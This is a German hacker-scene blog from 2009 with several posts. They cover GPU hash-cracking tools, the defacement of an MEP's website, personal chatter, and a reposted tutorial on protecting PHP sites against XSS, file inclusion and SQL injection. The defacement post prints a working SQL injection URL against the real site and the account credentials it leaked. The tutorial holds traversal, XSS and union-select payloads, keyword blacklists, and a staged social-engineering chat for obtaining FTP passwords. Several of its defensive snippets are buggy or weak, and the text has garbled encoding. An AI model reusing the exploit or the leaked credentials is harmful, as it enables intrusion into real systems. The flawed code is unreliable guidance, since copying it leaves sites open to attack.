Ade Rainbow Tables, Hallo GPU Brute-Force – Teil 2

Heyho,

da in meinem ersten Teil von “Ade Rainbow Tables, Hallo GPU Brute-Force” *klick* ein paar Tools vorgestellt wurden, leider einige auch fehlerhaft, kommt hier ein verbesserter kleiner Nachtrag ­čÖé

Zu BarsWF:

Vorteile:

+ schnellster Brute-Force in diesem Test (5sek fuer 7 stelliges PW aus Kleinbuchstaben)!
+ Kostenlos/Freeware
+ Auswahl von Charset waehlbar (ÔÇŁ-c 0aA~ Set charset. 0 ÔÇô digits, a ÔÇô small chars, A ÔÇô capitals, ~ ÔÇô special symbolsÔÇŁ, -c a = Kleinbuchstaben, welches ich auch verwendet hatte)
+ Nettes Design in der Console
+ “Brute-Forced” wird ueber volle CPU + GPU Power (kommt bei mir Nvidia GeForce GTX 280 & Intel Quadcore Q9550 auf ~ 950 MHash/sec)

Nachteile:

– Leider keine Saltet Hashes Brute-Force moeglich

Zu Lightning Hash Cracker:

Vorteile:
+ Kostenlos/Freeware
+ Speed ist ganz ordentlich

Nachteile:
+ Stoppt bei meinen Testlaeufen irgendwie wann es will, ohne den Hash zu entschluesseln (siehe Screenshot)
+ Usage ist auch ein bisschen kompliziert, im Vergleich zu den anderen Brute-Forcern

Zu etwas”neuem” bzw. was ich beim letzten Test nicht erwaehnt hatte, CuMD5:

Vorteile:
+ Kostenlos/Freeware
+ Man kann bei der Charsetauswahl angeben, welche Buchstaben waehrend des Brute-Force-Angriffes verwendet werden kann
+ Geschwindigkeit in Ordnung

Nachteile:
– Eventuell am Anfang etwas kompliziert die Sache mit den Charsets, da klein a nicht fuer reihen a-z zaehlen sondern fuer den buchstaben a – Habs versucht in dem Screen eventuell zu erklaeutern, wie ich das gemacht hab.
– “Herstellerseite” wirkt etwas unserioes

Und zu nvCUDA, welches ich letztes mal nicht testen konnte:

Und auch diesmal scheint es nicht richtig klappen, ich erhalte jedes mal einen “runtime error”, obwohl ich nun extra die cudart.dll runtergeladen und in den Ordner verschoben hatte┬á -.-

Ist mir aber nun egal.

Die Sieger stehen sowieso fest:

Platz 1 fuer normales MD5 Hash Cracking ist

BarsWF: http://3.14.by/en/md5

Zeigte “ueberragende” Leistung und war schnellster Bruteforcer im Test ­čÖé

Platz 1 fuer Salted Hashes ist:

Extreme GPU Bruteforcer: http://www.insidepro.com/eng/egb.shtml

Leider kostenpflichtig, jedoch lohnt es sich, wenn man vorallem viel mit Salted Hashes zu tun hat ­čśë

Joa, das wars soweit, eventuell folt nochn kleiner Teil 3, dieser wird aber nur kurz sein, und zeigen/beschreiben wie man die “Testsieger” richtig anwendet.

Mehr zum Thema GPU Bruteforce auch hier: *klick*

martin-schulz.info hacked?!

Die Website vom Martin Schulz “Vorsitzender der Fraktion der Sozialdemokratischen Partei Europas (SPE) im Europ├Ąischen Parlament” wurde am 13.07.2009 defaced.

Aufmerksam wurde darauf gemacht mit “Zensursula ICH LIEBE DICH” und dem Zensursula Video http://youtube.com/watch?v=O4vbdusj7Pk

Hier sind screenshots von 9 Eintraegen in “Aktuelles”, eventuell sieht man nun wie l33t einige doch sind ­čÖé

Nr. 2:

Nr. 3:

Nr. 4:

Nr. 5:

Nr. 6:

Nr. 7:

Nr. 8:

Nr. 9:

Und so lustig wie einige sind, wurde auch noch extra das “Zur Person” geaendert:

Tja.. was soll man dazu noch sagen.

Mich wudert es eher warum die Seite erst jetzt defaced wurde, da die Luecke keine schwer zu findende war.

Die (vollendete) SQL Injection:

http://martin-schulz.info/index.php?link=4&bereich=1&details=1&id=-180+union+select+1,concat_ws(0x3a,benutzername,passwort),3,4,5,6,7,8,9,10,11,12,13+from+user-- f

Ausgegeben wird uns:

visualseven:chang0red

Das hei├čt jemand war schneller und hat das PW geaendert zu “chang0red”. Mich wunderts nur dass das PW in der MySQL DB plain / unverschluesselt gespeichert wird..

Najo was soll man noch dazu sagen?

Richtig. Hat die Aktion auch nurn bissle was gebracht? Konnte irgendwas erreicht werden in der Politik, au├čer dass nun andere gegruesst wurden und von einigen Leuten das kindischen Verhalten freien Lauf hatte? Nicht wirklich.

Gedanken Pause…

Soho, Da ┬áj0hny unser lieber smod z.Z. ein ged├Ąchniss Pause hat, werd ich ma heute hier einen eintrag machen.

Zu mir: Man Nennt mich KellerKind und liebe AUCH j0hny… Also jz nich eifers├╝chtig werden ­čśŤ

Meine Rechtschreibfehler sollten hoffentlich nich st├Âren und wenn doch, joa mir egal ­čśŤ

Naja, Was ist heut sooo Passiert?

J0hny war Fahrschule, sollte eigentlich nur 1ne stunde dauern, wurde dann doch 3 :D… Von daher hat sich das MATCH p0nny und sein hof gegen Kartoffel-Team bisschen verz├Âgert. Es ging aber 16:5 f├╝r p0nnys hof aus.

Das Game war sehr lustig. Wir, das Kartoffel-Team, haben sehr sehr viel gelacht. Die Mitglieder Dimex, KellerKind (ich und voodoo666 haben sich sehr am├╝siert… Zum einen da Suicide gecheatet hat, bzw weil er nicht gecheatet hat. Er hat uns ├╝belst WEG GEPWNED!!! Anfangs war ich ├╝belst am leegen, doch dann kam VOODOO xD… Wir haben uns alle sowas von ├╝belst tod gelacht ├╝ber seine lecks xD

mhm… was is den noch so Passiert?

Ich habe zu Mittag spaghetti gegessen… Hatte gestern abend mit c1ox und j0hny eine kleine Telefon Konferrenz. Stalk3ers Handy wurde mitgewaschen.

Was noch erw├Ąhnens wert, Marabunta wurde ausm IRC gebannt und hoffentlich versteht ┬áer endlich das ihn keiner mag… Elixarie (or what ever) wurde f├╝r 1 tag oder woche gebannt. Find ich gut ­čÖé ein drecks spammer weniger.

MHM! Mir f├Ąllt nix mehr ein… Was ich noch sagen k├Ânnte is das ich das hier in 1ner stunde geschrieben hab, weil die mich im TS und IRC ablenken…

Vill. kann ich nochma auf die Partner hinweisen. Manche von den Blogs sind lesenswert also ein MUSTSEE xD

J0hny zockt atm css bzw guckt zu, um zu gucken das keiner cheatet….

Naja ich glaube mal ich Stoppe hier und hau paar gr├╝├če raus ­čÖé

z.b. an: J0hny ­čÖé danke das ich mal bloggen durfte ­čÖé

Dimex :), nrxpro :-*, p0se, Montaxx, Rafi, tmh, Hoohead, wui:>, c1ox, dvd, haxx0r007, soulstoned, Stalk3er, Gabber Gandalf, Sirius, Kause, 13mama37, Earl, curry, Fred, Hawk, k1ngc0bra :), korni, lemontree, maoshe,  th3flood, till, voodoo .

Dann an Free-hack , Creative-Coding und Szene Coderz ­čÖé

Wenn ich jemand vergessen hab seit mir ruhig b├Âse, ES WAR ABSICHT! ­čśŤ ne spa├č, dann sry mein gehirn denkt nur begrentzt…

Joa und entschuldigt das hier so bissel m├╝ll usw steht aber das was ich eigentlich bloggen wollte hab ich leider gottes vergessen aber ihr k├Ânnt mir sicher verzeihen ­čÖé

ACHJA: milw0rm wird doch nich geschlossen. Er wird das Projekt an Freunde weitergeben die es Weiterf├╝hren werden.

Find ich gut. ┬áHoffentlich werden sie es gut weiterf├╝hren ­čÖé

Update: J0hn Gef├Ąllts ­čÖé Vill. schreibt er ja auch was drunter :)… Wenn ihr mich m├Âgt bzw mein POST hier xD mach ich das vill w├Âchentlich (solang j0hny nix dagegen hat :D)

Goodbye milw0rm?!

Grad eben gefunden:

Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don’t :(. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn’t fair to the authors on this site. I appreciate and thank everyone for their support in the past.
Be safe, /str0ke

Und auch ganz unten steht

submissions are closed.
Videos hosted by Tradebit file hosting
Copyright ┬ę 2004-2009 milw0rm

Quelle: http://milw0rm.com/

Finds echt verdammt schade und hoff das er vllt. mal zurueck kommt bzw. weiter macht ­čÖü

Btw. werd morgen muendliche Pruefung Mathematik haben.. wuenscht mir Glueck ­čÖé

Webseite gegen XSS, SQLi’s, RFI und LFI sch├╝tzen

Tag,

da ich Power-Sven sein Tutorial zum Schutz gegen XSS, SQL Injections, RFI & LFI super finde, habe ich ihn gefragt, ob ich es hier bloggen darf und er meinte ja ­čÖé Daher, hier ist es:

Auf Wunsch schreibe ich hier mal ein Tutorial bzw. eher einen Ratgeber, wie man eine Webseite sicher gegen SQLInjectionen, Cross Site Scripting (XSS) und Local / Remote File Inclusions (LFI / RFI) machen kann.
Dabei gehe ich auf Funktionen sowie Codes ein und zeige das ganze aus der Sicht des Angreifers und m├Âgliche Abwehrmethoden.
Ich werde auch kurz darauf eingehen, wie kluge “Hacker” dennoch an eure Daten kommen k├Ânnten, und wie ihr auch dies verhindert.

Cross Site Scripting (XSS)

Nat├╝rlich ist es sinnvoll, so wenige Queries wie m├Âglich auszuf├╝hren. Aber wenn man Werte einfach in der URL ├╝bergibt oder un├╝berpr├╝ft aus einem Formular ├╝bernimmt, kann es schnell gef├Ąhrlich werden. Cross Site Scripting ist somit nicht undenkbar.

Beim Cross Site Scripting wird versucht, JavaScript-Codes auszuf├╝hren.
Ein nicht vertrauensw├╝rdiger Code wird mangels Pr├╝fung an ein vertrauensw├╝rdiges Kontext ├╝bergeben und ausgef├╝hrt. Somit kann z.B. eine Seite als Phishingseite missbraucht, defaced oder f├╝r sonstige Zwecke genutzt werden.
Wir unterscheiden in reflektives und persistentes XSS. Beim reflektiv XSS ist es so, dass GET oder POST-Werte ohne oder mit nur mangelhafter ├ťberpr├╝fung auf der Seite gespiegelt (reflektiert) werden. GET bedeutet, dass ├╝ber den so genannten Query-String, welcher hinter dem Fragezeichen (?) in der URL beginnt ein Wert ├╝bergeben wird. Z.B.

http://url/index.php?catid=1&cattitle=Wie verhindern wir XSS

POST hingegen wird meist ├╝ber Formulare ├╝bertragen und ist nicht sichtbar.
Durch das Firefox-Addon Live HTTP Headers kann man sie dennoch sehen.

Sieht man auf der Seite nun eine Ausgabe, wie “Wie verhindern wir XSS” so kann man schonmal davon ausgehen, dass dieser Wert aus der URL geholt wurde. Also versucht man

http://url/index.php?catid=1&cattitle=

wird ein Alarmfenster mit 1337 kommen. Der Fremdcode wurde erfolgreich eingeschleust. Selbiges kann auch passieren, wenn man in einem G├Ąstebuch ist und die Eingaben gespeichert werden. Wird bei der Ausgabe des Beitrages ein Alarmfenster ausgegeben ist dieses XSS persistent.

Beide Methoden lassen sich verhindern, in dem die Variablen ausreichend gepr├╝ft werden.

Ein Code, der z.B. die Kategorie ausgibt kann bei obigem Beispiel so aussehen:

print $_GET['cattitle'];  

Der Wert, der hinter cattitle in der URL steckt, wird geholt. Er lautet “Wie verhindern wir XSS” und wird ausgegeben.
Wie man sieht, vollkommen ungepr├╝ft.
Nun gibt es eine einfache Methode, die die Variable so bearbeitet, dass zwar

ausgegeben, jedoch nicht ausgef├╝hrt wird. Hier f├╝r nutzen wir die Funktion htmlentities().
Diese wandelt Sonderzeichen in ihre HTML-Codes um, wodurch HTML die Zeichen wieder in ihren Ursprung umwandelt.
< wird zu > und wieder zu <. Die Ausf├╝hrung wird hierbei verhindert.

print htmlentities($_GET[‘cattitle’]);  

Genauso k├Ânnen wir die Sonderzeichen auch einfach entfernen, in dem wir sie mit str_replace() ersetzen.

$replace = array("<",">","alert","script");

foreach($replace AS $key) {

    str_replace($rep,"",$_GET['cattitle']);

}  

Hierbei wird einfach ein Array in einer Schleife bearbeitet, wobei jedes gefundene Zeichen aus dem Array in der Variable mit garnichts ersetzt wird. Sprich: Entfernt.

Local File Inclusions

Der Grundgedanke ist klar: Der Webmaster versucht, eine zweite Datei innerhalb einer ersten auszuf├╝hren.
Hier f├╝r nutzt er die include()-Funktion in PHP.
Das dient meistens dem Ver├Ąndern des Contents der Seite. Auch aus Faulheit, um Templates zu nutzen. Das Template wird in der index.php erstellt und der Main-Content per include ge├Ąndert.

Ein m├Âglicher Code w├Ąre also:

include($_GET['site']);  

Meist liegen die Webseiten in Verzeichnissen, die z.B. htdocs, html oder ├Ąhnlich hei├čen. Diese Webseiten liegen auf so genannten “Servern”. Das sind Rechner, die ihre Leistung in das am laufen halten der Dienste stecken, die die Webseiten ins Netz stellen.
Die Seiten liegen somit z.B. in /var/www/htdocs/ und ├Ąhnliches. Ganz weit hinten liegen aber noch andere Verzeichnisse, wie z.B. etc/passwd. Zum testen, ob eine locale file inclusion m├Âglich ist versucht man nun zur├╝ckzunavigieren.
Durch “../” kann man in das ├╝bergeordnete Verzeichnis wechseln.
Der Aufruf oben s├Ąhe z.B. so aus:

http://url/index.php?site=main.php

Wir versuchen nun eine andere Datei zu includen.

http://url/index.php?site=../../../../../../../../etc/passwd/
Wird passwd dargestellt kann man theoretisch auch jede andere Datei auf dem localen Webspace includieren. Und das kann gef├Ąhrlich werden. Seht euch hierzu auch das Text-Tutorial von Lidloses_Auge an.

Nun, wie verhindern wir eine locale File Inclusion? Die Methoden, wie sowas m├Âglich ist stehen im vorhin genannten Tutorial. Die Bek├Ąmpfung ist klar: Wir m├╝ssen verhindern, dass eine andere Datei aufgerufen wird au├čer jenen, die erlaubt sind.
Also warum nicht unterscheiden zwischen den Aufrufen? Ich l├Âse das Problem nun mit der switch()-Funktion, obwohl es sicher noch viele andere Methoden gibt. Zudem werde ich per str_replace die "../" aus dem Aufruf rausl├Âschen.

switch(str_replace("../","",$_GET['site'])) {

    case "main":

        include("main.php");

    break;

    case "contact":

        include("contact.php");

    break;

    case "about":

        include("about.php");

    break;

    default:

        include("main.php");

    break;

}  

Default stellt hierbei den Standard dar. Sofern versucht wird, etwas aufzurufen, was nicht in den cases (vom englischen. Case = Fall) steht wird main.php includet.
Ein m├Âglicher Aufruf w├Ąre nun:

http://url/index.php?site=about

Das ist viel sicherer und auch eleganter, als der ganz oben gezeigte Code.

Remote File Inclusions

Im Unterschied zu den local file inclusions wird bei der remote Variante versucht eine Datei von au├čen zu includieren.
Auch hier kann ich zur Funktionsweise und Vorgenesweise des Angreifers das Text-Tutorial von Lidloses_Auge empfehlen.

Ein Code k├Ânnte genauso aussehen, wie bei der local Inclusion:

include($_GET['site']);  

Stehen in der php.ini (Konfrigurationsdatei f├╝r PHP auf dem Webserver) nun die beiden Eintr├Ąge "allow_url_fopen" und "allow_url_include" auf "on" so k├Ânnte eine RFI m├Âglich sein.

Ein m├Âglicher Aufruf, um dies zu testen w├Ąre:

http://url/index.php?site=http://google.de/index.php

Wird Google in der Seite dargestellt kann man auch z.B. eine Shell includen.

Wie verhindern wir das ganze nun? Wenn ein include einer externen URL nicht notwendig ist, kann man beim Provider des Webspace darum bitten, dass die Einstellung "allow_url_include" auf "off" gestellt wird. Dies ginge zwar auch per ini_set(). Das geht aber nur tempor├Ąr f├╝r die momentan aufgerufene Datei und muss somit in jeder Datei nach ganz oben gestellt werden.
Eine weitere M├Âglichkeit w├Ąre es, wie unter local file inclusions schon genannte das switch()-Statement zu nutzen.
Oder man sorgt daf├╝r, dass externe URL's garnicht aufgerufen werden k├Ânnen:

$inarray = array("http", ":", "//", ".de", ".com");

foreach($inarray AS $key) {

    if(stristr($_GET['site'],$key)) {

        die("Access denied!");

    }

}

include($_GET['site']);  

Die Funktion stristr() pr├╝ft unabh├Ąngig von Gro├č- und Kleinschreibung, ob der gesuchte String in der Zeichenkette vorkommt. Wenn ja, dann wird in diesem Fall das Script mit der Fehlermeldung "Access denied" (Zugriff gescheitert) ausgegeben. Leute mit etwas Humor k├Ânnen auch z.B. "Nice try" (=Netter Versuch) ausgeben lassen ^^.
Anderenfalls (wenn das Script nicht abgebrochen wird an der Stelle) wird site includiert. Auch hier kann man noch z.B. eine Funktion hinzuf├╝gen, die "../" entfernt, um LFI's zu verhindern. Oder man packt das "../" direkt oben in das Sucharray.

SQLinjections

Nun, wozu MySQL dient muss man sicherlich nicht mehr erl├Ąutern. Und was der Angreifer daraus abfragen kann mit Sicherheit auch nicht. Denn es sind ja nicht nur Zugangsdaten, wie Passw├Ârter und Loginnamen oder gar Emails. Adressdaten, Kreditkarteninformationen und Email-Adressen lassen sich bequem abfragen, wenn erst einmal eine L├╝cke vorhanden ist.
F├╝r das Verst├Ąndnis, die SQLinjectionen funktionieren kann ich auch hier Tutorials empfehlen.
Lidloses_Auge hat in der zugeh├Ârigen Sektion vier Tutorials zu dem Thema verfasst.

Es ist nat├╝rlich einfach unerl├Ąsslich, Daten in Form von Identifikationsnummern (ID's) ├╝ber den Query-String der URL zu ├╝bermitteln. Ein Beispiel daf├╝r w├Ąre dieses:

http://url/shop/product.php?id=23

Die ID wandert oft ungepr├╝ft in eine Abfrage an MySQL. Bei diesem Beispiel k├Ânnte es so aussehen:

mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".$_GET['id']."'");  

├ťbergeben wir einen anderen Wert, als einen Integer als ID so k├Ânnen wir durch union select oder den blind-Methoden eigene Abfragen starten.
In diesem Fall haben wir f├╝nf Columns (title, price, description, category, paymethods) nehmen wir an, es sei eine von den "guten alten" Union-Select-Injectionen.

http://url/shop/product.php?id='[email protected]@VERSION,2,3,4,5,6,7--+

s├Ąhe dann im Query so aus:

mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '' union select @@VERSION,2,3,4,5,6,7--+'");  

So, wie verhindern wir nun, dass jemand versucht auf diese Methode oder durch Blind-Injectionen eigene Abfragen zu starten?
Sofern Integer ├╝bergeben werden, k├Ânnen wir sagen, dass jede Eingabe als Integer behandelt werden soll.
Dies kann mit der Funktion intval() geschehen.
Intval steht f├╝r "Integer validation". Integer sind Zahlenwerte, und Validation w├╝rde ich jetzt mal mit "G├╝ltigkeitspr├╝fung" ├╝bersetzen. Die Funktion pr├╝ft also, ob es sich bei der Eingabe um einen g├╝ltigen Integer handelt. Sofern etwas anderes ├╝bergeben wird, schl├Ągt die Validation fehl und eine Fremdabfrage ist nicht m├Âglich.

mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".intval($_GET['id'])."'");  

Eine andere M├Âglichkeit, damit keine leere Ausgabe erreicht wird, wie es im gerade eben gezeigten Beispiel der Fall sein w├╝rde w├Ąre eine Entweder-Oder-Abfrage mit der Bedingung "is_int(). Is_int() pr├╝ft, ob eine Zeichenkette vom Typ Integer ist und gibt entweder true oder false (wahr oder falsch) zur├╝ck. Ich gebe der Variable id den Wert einer Entweder-Oder-Abfrage, wobei sofern es ein Integer ist die Variable nochmals als Integer validiert wird.

$id = (is_int($_GET['id'] ? intval($_GET['id']) : "1");
mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".$id."'");  

Nun, diese Methoden sch├╝tzen erfolgreich vor SQLinjectionen. Was aber tun, wenn der Fall eintritt, dass z.B. jemand eine Suchfunktion nutzt? Hier werden ja nicht nur Integer sondern auch ganz normale Strings abgefragt:

http://url/search.php?word=suchmich

Ich denke die beste Methode, zu pr├╝fen, was ├╝bergeben wird ist eine "Badwordliste" zu erstellen, die das laufende Script beendet, wenn eines der b├Âsen W├Ârter gefunden wird. Dies kann mit den Funktionen preg_match(), foreach() und stristr().
Zuerst einmal eine Kombination aus foreach und stristr:

$boese = array("union","select","/*","*/","--+","-- f", "from","and","ascii","substring","substr","@@VERSION","version()","concat","concat_ws","(",")","char","instr","information_schema","columns","table_schema","table_name","column_name","hex","unhex");
$query = $_SERVER['QUERY_STRING'];

foreach($boese AS $evil) {

    if(stristr($url,$evil)) {

        die("Access denied!");

    }

}

$host = "localhost";
$user = "Power-Sven";
$password = "free-hack";
$db = "tutorial";

@mysql_connect($host,$user,$password);
@mysql_select_db($db);  

Okay, nehmen wir den Code einmal auseinder. Zuerst einmal werden f├╝r Injectionen typische Begrifflichkeiten in ein Array geladen. Diese Blacklist ist nat├╝rlich nur eine ungef├Ąhre Liste und sollte erweitert werden, wie man sie eben braucht. Anschlie├čend wird der Query-String (das, was in der URL hinter dem Fragezeichen steht) in die Variable query gesteckt. Nun wird das Array boese durchlaufen. Der aktuell angew├Ąhlte Wert (zuerst union, dann select usw.) wird in die Variable evil geladen. Stristr pr├╝ft unabh├Ąngig von Gro├č- und Kleinschreibung (also sowohl UNION als auch union, Union etc.) nun, ob einer der Begriffe im Query-String vorkommt. Wenn ja, wird das Script beendet, in dem "Access denied" ausgegeben wird. Wenn nicht, wird eine Datenbankverbindung hergestellt. Somit kann man schon in den Ans├Ątzen verhindern, dass ├╝berhaupt eine Verbindung aufgebaut wird, wenn eine Injection versucht wird. Dieses Script kann in der Verbindungsdatei zum Einsatz kommen.
Statt stristr kann nun auch preg_match mit dem regul├Ąren Ausdruck "/Suchbegriff/" genutzt werden.

Wird nun z.B.

http://url/shop/product.php?id='[email protected]@VERSION,2,3,4,5,6,7--+

aufgerufen wird das Script bereits beendet, wenn "union" gefunden wird. Auch hier kann man nat├╝rlich beliebig mit Entweder-Oder-Abfragen und anderem variieren.

Selbstverst├Ąndlich sollte man nicht davon ausgehen, dass nur ├╝ber GET Injectionen m├Âglich sind. Somit sollte s├Ąmtlicher Datenverkehr komplett ├╝berpr├╝ft werden, bevor man von Sicherheit ausgehen kann. Sprich: Cookies, GET, POST etc.

Auch sollte darauf geachtet werden, dass durch die PHP.Ini-Einstellung "magic_quotes_gpc" das Sonderzeichen "Hochkomma" (') durch den Backslash escpaped wird. Steht diese Einstellung auf "on", so wird aus ' ein \', was die Funktionsweise aushebelt.
Eine Alternative ist die Funktion mysql_real_escape_string(), welche das escapen ├╝bernimmt, wenn die magic_quotes_gpc = off ist. Jedoch muss dies auf jede Variable angewendet werden, ├╝ber die ggf. eine Injection ├╝bermittelt werden kann.

$suchbegriff = mysql_real_escape_string($_GET['suchbegriff']);

Bedenkt auch: Die Mischung machts ­čśë . Es gibt sicher nicht "die" L├Âsung gegen Injectionen. Aber das ist schonmal ein Grundsatz, den man nutzen kann.

Social Engineering

War doch eigentlich klar, dass ich das auch noch erw├Ąhne, oder? ­čśë
Einige denken, wenn sie sich gegen XSS, SQLinjections, RFI / LFI etc. sch├╝tzen, seien sie sicher. So lange jedoch Menschen die sind, die all das nutzen und verwalten k├Ânnen wir niemals von kompletter "Sicherheit" reden.
Ich simuliere mal ein ICQ-Gespr├Ąch, in dem jemandem ein Passwort abgeluchst wird:

(Person 1): Hey
(Person 2): Moin auch
(Person 1): Sag mal Du hattest da doch diese Webseite?
(Person 2): Ja, wieso? Wer bist Du eigentlich?
(Person 1): Erinnerst Du Dich nicht mehr? Ich bin Person 1, Du kennst mich aus der Schule. Physik Leistungskurs, wei├čt Du noch?
(Person 2): Achso... Ja... Was ist denn mit meiner Webseite?
(Person 1): Keine Ahnung. Ich komme nicht mehr richtig drauf. Sie wird falsch dargestellt und ich erkenne nichts
(Person 2): Ich schon *Schulter zuck*
(Person 1): Mh... Nutzt Du BrowserXY?
(Person 2): Ja, wieso?
(Person 1): Hast Du die Seite etwa nicht an Browser42 angepasst? Dabei ist das doch so einfach...
(Person 2): Erz├Ąhl :)
(Person 1): Schwer zu erkl├Ąren... Also Du startest Deinen FTP-Clienten und connectest zum Server... Anschlie├čend navigierst Du ins Templates-Verzeichnis und ├Ąndert die Struktur der Datei so, dass Browser42 es richtig interpretiert. Das hatten wir doch in Jahrgang 10 in Informatik ^^
(Person 2): ...Ja, nat├╝rlich, wusste ich. Wei├č ich auch noch, habe nur keine Zeit... Kannst Du mir das nicht machen?
(Person 1): Klar. Mit welchen Daten loggest Du Dich ein? Also Host ist xy.h1.host.de, das wei├č ich.
(Person 2): Ja, Host ist xy.h1.host.de. Einloggen tust Du Dich mit xy, das Passwort lautet pwn3d.
(Person 1): Vielen Dank, ich melde mich
(Person 2): Ich habe zu danken

Jemand aus der Schule wei├č z.B., dass die Person 2 in einem Physik Leistungskurs war oder ist und kennt vielleicht sogar einige Namen. Person 1 wei├č das und gibt sich als jemand anderes aus. Person 1 gewinnt somit das Vertrauen von Person 2.
Auch hat Person 1 einiges an Fachwissen. Er hat den Host der Webseite herausgefunden und kennt einige Fachbegriffe aus dem Jargon. Nun hat er das Vertrauen und Person 2, die ihn nicht richtig versteht, da er ahnunglos ist redet sich raus, er habe keine Zeit. Er bittet Person 1 darum, doch bitte die Anpassungen f├╝r ihn vorzunehmen.
Selbstverst├Ąndlich gibt es garnichts anzupassen, das war ausgedacht. Person 2 hat Browser42 nicht installiert und kann es nicht pr├╝fen, das macht sich Person 1 zu Nutze und erh├Ąlt die Zugangsdaten.

Das soll jetzt nur so viel hei├čen wie: Denkt nicht, ihr w├Ąret komplett sicher, wenn ihr eure Seite sch├╝tzt. Der MEnsch, der dahinter steckt ist mit Sicherheit immernoch anf├Ąllig f├╝r Social Engineering und ├Ąhnliche Prozeduren.

Schlusswort

Ich hoffe mal, euch hat dieses Tutorial ein Wenig geholfen. Denkt immer dran, eure Scripte ausreichend zu sch├╝tzen. Denn Sicherheit wird in dieser Zeit ben├Âtigt, da es immer mehr Methoden gibt, an eure privaten Daten zu kommen.

PS.: Das meiste hiervon ist heute Nacht gegen 1:00 Uhr entstanden. Bitte nicht meckern, wenn da ein Paar Fehler drin sind ­čśë .

Quelle: http://free-hack.com/showthread.php?t=41091

An dieser Stelle nochmal vielen lieben Dank an Power-Sven hierfuer ­čÖé